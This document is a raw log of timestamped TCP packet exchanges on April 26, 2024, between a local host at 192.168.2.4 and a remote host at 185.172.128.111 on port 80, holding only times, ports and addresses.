Apr 26, 2024 09:41:12.257468939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257518053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257560015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257607937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257638931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257683992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257823944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257872105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257894039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257941961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257958889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257989883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258001089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258038998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258070946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258117914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258198977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258215904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258244038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258258104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258296967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258339882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258358002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258409023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258429050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258474112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258492947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258541107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258558989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258605957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258687973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258734941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258764982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258814096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258862972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.258909941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.258976936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259026051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259238958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259288073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259308100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259350061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259361029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259408951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259426117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259476900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259494066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259540081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259556055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259603977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259620905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259651899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259663105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259694099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259701014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259747028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259819984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259869099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259907007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259952068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.259959936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.259991884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260003090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260036945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260128021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260170937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260179043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260217905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260236025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260277987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260294914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260335922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260345936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260390043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260406971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260447979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260463953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260481119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260505915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260521889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.260596037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.260642052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.261116028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.261163950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.266525030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.266555071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.266591072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.266611099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.267302990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.267360926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.287817001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.287883043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.287923098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.287940979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.288022995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.288068056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.288589001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.288646936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.288666010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.288701057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.288708925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.288752079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.288844109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.288899899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.288917065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.288960934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.288979053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289019108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289099932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289148092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289165974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289197922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289211035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289241076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289252996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289297104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289318085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289357901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289391041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289428949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289446115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289488077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289505959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289522886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289556980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289556980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289592028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289623976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289634943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289663076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289679050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289722919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289742947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289783955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289804935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.289853096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.289974928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290014982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290031910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290071964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290208101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290256977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290273905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290311098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290318966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290349007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290359020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290396929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290473938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290519953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290720940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290769100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.290935040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.290996075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291008949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291040897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291088104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291100025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291145086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291169882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291202068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291213989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291254997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291332960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291342974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291374922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291446924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291460991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291493893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291521072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291538000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291548014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291579008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291591883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291620970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291630983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291671991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291687012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291703939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291729927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291742086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291873932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291927099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.291944027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.291981936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292001963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292047024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292129993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292181015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292234898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292284966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292443037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292499065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292517900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292571068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292588949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292629004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292648077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292665005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292690039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292699099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292728901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292769909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292789936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292830944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292850018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292886019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292901993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292939901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.292958975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.292999029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293018103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293035984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293062925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293071032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293086052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293124914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293140888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293176889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293186903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293215990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293248892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293291092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293308020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293325901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293353081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293360949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293384075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293422937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293557882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293602943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293613911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293649912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293668032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293710947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293730974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293771029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293790102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293807983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293826103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293843031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293874025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293936968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.293953896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293992043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.293999910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294035912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294076920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294118881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294176102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294219971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294238091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294275999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294282913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294310093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294365883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294409037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294445038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294488907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294513941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294555902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294569016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294609070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294626951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294645071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294662952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294682026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294711113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294749022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294768095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294811964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294845104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294886112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294917107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.294961929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.294977903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295017004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295048952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295094013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295166016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295211077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295223951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295242071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295259953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295274973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295317888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295345068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295358896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295383930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295443058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295483112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295501947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295536041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295547962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295574903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295612097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295653105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.295816898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.295861959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296026945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296071053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296087027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296124935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296133995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296161890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296174049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296206951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296219110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296233892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296247959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296268940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296312094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296348095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296355963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296382904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296490908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296535015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296551943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296592951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296694994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296713114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.296734095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.296750069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.305326939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305413961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.305577993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305594921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305610895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305624962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.305636883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.305649042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305660963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.305689096 CEST	49730	80	192.168.2.4	185.172.128.111
